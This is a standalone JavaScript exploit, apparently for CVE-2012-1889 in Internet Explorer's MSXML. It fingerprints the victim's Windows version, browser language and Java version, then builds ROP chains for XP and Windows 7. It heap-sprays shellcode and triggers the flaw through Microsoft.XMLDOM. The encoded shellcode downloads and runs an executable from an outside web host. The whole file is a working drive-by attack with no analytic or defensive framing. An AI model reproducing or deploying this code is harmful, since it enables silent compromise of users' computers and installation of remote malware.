CVE-2012-1889

function int_to_hex(dword)
        {
            var d=Number(dword).toString (16);
            while(d.length<8) d='0'+d;
            return unescape('%u'+d.substr(4,8)+'%u'+d.substr(0,4));
        };


        function build_block(s)
        {
            var endtag = unescape("AA");

            var len = 0x10000 - (s.length *2 + endtag.length * 2);
            var b = "11";
            while(b.length < len) b += b;
            var block = b.substring(0, len / 2);
            block = s + block + endtag;

            var bigblock = "";
            for (var i=0; i < 8; i++) bigblock += block;
            bigblock = bigblock.substring(0, (0x80000-0x28)/2);

            return bigblock
        }

        function is_java_16()
        {
            var java_ver = deployJava.getJREs();
            var java7 = java_ver.toString().indexOf('1.7');
            var java6 = java_ver.toString().indexOf('1.6');
            if (java7 == -1 && java6 != -1) return true; else return false;
        }

        function is_win7()
        {
            return navigator.userAgent.toLowerCase().indexOf("windows nt 6.1") > 0;
        }

        function is_xp()
        {
            return navigator.userAgent.toLowerCase().indexOf("windows nt 5.1") > 0;
        }

        function is_ie9()
        {
            return navigator.userAgent.toLowerCase().indexOf("msie 9") > 0;
        }

        function language()
        {
            // zh-cn, en-us
            return navigator.browserLanguage;
        }

        function build_rop_stack(spraybase)
        {
            var heapspray = "";

            if (is_xp())
            {
                var msvcrt_base = 0x77C10000;  // en-us

                switch (language())
                {
                case "en-us":
                    msvcrt_base = 0x77C10000; break;
                case "zh-cn":
                case "zh-tw":
                    msvcrt_base = 0x77BE0000; break;
                case "ko":
                case "ja":
                    msvcrt_base = 0x77BC0000; break;
                default: break;
                }

                heapspray = ""
                + int_to_hex(msvcrt_base+0x000116ec)        // 0  <-- vtbl
                + int_to_hex(0x44444444)                    // 4
                + int_to_hex(msvcrt_base+0x00005ed5)        // 8  -- second call (call [ecx+8])
                + int_to_hex(msvcrt_base+0x00005ed6)        // c

                + int_to_hex(msvcrt_base+0x00005ed6)        // 10
                + int_to_hex(msvcrt_base+0x00005ed6)        // 14
                + int_to_hex(msvcrt_base+0x00005ed6)        // 18 -- first call   (call [ecx+18])
                + int_to_hex(msvcrt_base+0x000144c6)        // 1c

                + int_to_hex(msvcrt_base+0x00001104)        // 20
                + int_to_hex(msvcrt_base+0x000144c3)        // 24
                + int_to_hex(spraybase)                     // 28
                + int_to_hex(msvcrt_base+0x00012a18)        // 2c

                + int_to_hex(spraybase+0x90)    // 30  -- 90 is sizeof heapspray
                + int_to_hex(spraybase)         // 34
                + int_to_hex(0x00005500)        // 38
                + int_to_hex(0x00001000)        // 3c

                + int_to_hex(0x00000040)        // 40
                + int_to_hex(spraybase+0x34)    // 44
                + int_to_hex(spraybase)         // 48
                + int_to_hex(spraybase)         // 4c

                + int_to_hex(spraybase)         // 50
                + int_to_hex(spraybase)         // 54
                + int_to_hex(spraybase)         // 58
                + int_to_hex(spraybase)         // 5c

                + int_to_hex(spraybase)         // 60
                + int_to_hex(spraybase)         // 64
                + int_to_hex(spraybase)         // 68
                + int_to_hex(spraybase)         // 6c

                + int_to_hex(spraybase)         // 70  <-- obj
                + int_to_hex(spraybase)         // 74
                + int_to_hex(spraybase)         // 78
                + int_to_hex(spraybase)         // 7c

                + int_to_hex(spraybase)         // 80
                + int_to_hex(spraybase)         // 84
                + int_to_hex(spraybase)         // 88
                + int_to_hex(spraybase)         // 8c
                ;
            }
            else if(is_win7() && is_java_16())
            {
                heapspray = ""
                + int_to_hex(0x7C3425B5)        // 0  <-- vtbl
                + int_to_hex(0x44444444)        // 4
                + int_to_hex(0x7c348b05)        // 8  -- second call (call [ecx+8])
                + int_to_hex(0x7C3425B7)        // c

                + int_to_hex(0x7C3425B7)        // 10
                + int_to_hex(0x7C3425B7)        // 14
                + int_to_hex(0x7C3425B7)        // 18 -- first call   (call [ecx+18])
                + int_to_hex(0x7C3425B7)        // 1c

                + int_to_hex(0x7c34c611)        // 20
                + int_to_hex(0x7c37a030)        // 24
                + int_to_hex(0x7c34c60e)        // 28
                + int_to_hex(spraybase)            // 2c

                + int_to_hex(0x7c34888f)        // 30  -- 90 is sizeof heapspray
                + int_to_hex(spraybase+0x90)    // 34
                + int_to_hex(spraybase)            // 38
                + int_to_hex(0x00005500)        // 3c

                + int_to_hex(0x00001000)        // 40
                + int_to_hex(0x00000040)        // 44
                + int_to_hex(spraybase)            // 48
                + int_to_hex(spraybase)            // 4c

                + int_to_hex(spraybase)            // 50
                + int_to_hex(spraybase)            // 54
                + int_to_hex(spraybase)            // 58
                + int_to_hex(spraybase)            // 5c

                + int_to_hex(spraybase)            // 60
                + int_to_hex(spraybase)            // 64
                + int_to_hex(spraybase)            // 68
                + int_to_hex(spraybase)            // 6c

                + int_to_hex(spraybase)            // 70  <-- obj
                + int_to_hex(spraybase)            // 74
                + int_to_hex(spraybase)            // 78
                + int_to_hex(spraybase)            // 7c

                + int_to_hex(spraybase)            // 80
                + int_to_hex(spraybase)            // 84
                + int_to_hex(spraybase)            // 88
                + int_to_hex(spraybase)            // 8c
                ;
            }
            else
            {
                throw "not supported!";
            }

            return heapspray;
        }


        spraybase = 0x11110024;
        if (is_ie9()) spraybase = 0x11110010;

        var shellcode = unescape("%u9090%u9090%uD2E9%u0000%u5F00%uA9E8%u0000%u8B00%u8BE8%u6AF7%u5905%u58E8%u0000%uE200%u68F9%u6E6F%u0000%u7568%u6C72%u546D%u16FF%uE88B%u016A%uE859%u003F%u0000%uF9E2%u38E8%u0000%u8100%u00EC%u0002%u8B00%u53DC%u0068%u0002%uFF00%u0456%u04C7%u5C03%u2E61%uC765%u0344%u7804%u0065%u3300%u50C0%u5350%u5057%u56FF%u8B14%u50DC%uFF53%u0856%u006A%uFF6A%u56FF%u510C%u8B56%u3C75%u748B%u782E%uF503%u8B56%u2076%uF503%uC933%u4149%u03AD%u33C5%u0FDB%u10BE%uD63A%u0874%uCBC1%u030D%u40DA%uF1EB%u1F3B%uE775%u8B5E%u245E%uDD03%u8B66%u4B0C%u5E8B%u031C%u8BDD%u8B04%uC503%u5EAB%uC359%u5651%u3357%u64C9%u358B%u0030%u0000%u768B%u8B0C%u1C76%u468B%u8B08%u207E%u368B%u4F38%u7518%u5FF3%u595E%uE8C3%uFF29%uFFFF%u4E8E%uEC0E%uCA33%u5B8A%uFE98%u0E8A%uB983%u78B5%uC61B%u7946%u1A36%u702F%u1A4C%u702F%u7468%u7074%u2F3A%u772F%u7777%u642E%u6169%u6962%u336F%u632E%u6D6F%u642F%u652E%u6578%u0000");

        var heapspray = build_rop_stack(spraybase);
        heapspray += shellcode;

        bigblock = build_block(heapspray);
        var blocks = new Array();
        for(var i = 0; i < 2 * 300; i++)
            blocks[i] = [bigblock].join("");

        /////////////////////////////////////////////////////////////////////////

        var src = int_to_hex(spraybase+0x70);
        while (src.length < 0x1002) src += src;
        src = "\\\\xxx" + src;
        src = src.substr(0, 0x1000 - 10);
        var pic = document.createElement("img");
        pic.src = src;



        var obj = null;
        obj = new ActiveXObject("Microsoft.XMLDOM");
        for(var i=0; i<100; i++)
        {
            pic.nameProp;
            obj.definition(0);
        }